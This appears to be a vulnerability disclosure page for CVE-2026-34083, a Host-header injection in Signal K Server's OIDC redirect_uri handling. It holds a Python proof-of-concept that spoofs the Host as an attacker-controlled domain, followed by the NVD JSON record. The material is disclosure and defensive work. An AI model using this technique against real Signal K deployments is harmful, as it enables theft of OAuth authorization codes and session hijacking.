CVE-2026-34083

import requests # Target configuration target_url = "http://localhost:3000" malicious_host = "attacker-controlled-domain.com" # The vulnerable endpoint typically handles OIDC login endpoint = "/auth/oidc" # Construct the request with a spoofed Host header headers = { "Host": malicious_host, "User-Agent": "PoC-Scanner/1.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } print(f"[*] Sending request to {target_url}{endpoint}") print(f"[*] Spoofing Host header as: {malicious_host}") try: response = requests.get(target_url + endpoint, headers=headers, allow_redirects=False) # Check if the Location header contains the malicious host in the redirect_uri location = response.headers.get('Location') if location and malicious_host in location: print("[+] Vulnerability Confirmed! Malicious host found in redirect URI.") print(f"[+] Redirect Location: {location}") else: print("[-] Vulnerability not detected or specific conditions not met.") print(f"[*] Response Status: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}")

{"cve": {"id": "CVE-2026-34083", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:23.403", "lastModified": "2026-04-06T15:01:58.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0, SignalK Server contains a code-level vulnerability in its OIDC login and logout handlers where the unvalidated HTTP Host header is used to construct the OAuth2 redirect_uri. Because the redirectUri configuration is silently unset by default, an attacker can spoof the Host header to steal OAuth authorization codes and hijack user sessions in realistic deployments as The OIDC provider will then send the authorization code to whatever domain was injected. This issue has been patched in version 2.24.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}, {"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.24.0", "matchCriteriaId": "64F9BA25-5552-4477-84F9-83E71B2CA56F"}]}]}], "references": [{"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.24.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-cxj8-ggf2-p57c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-cxj8-ggf2-p57c", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}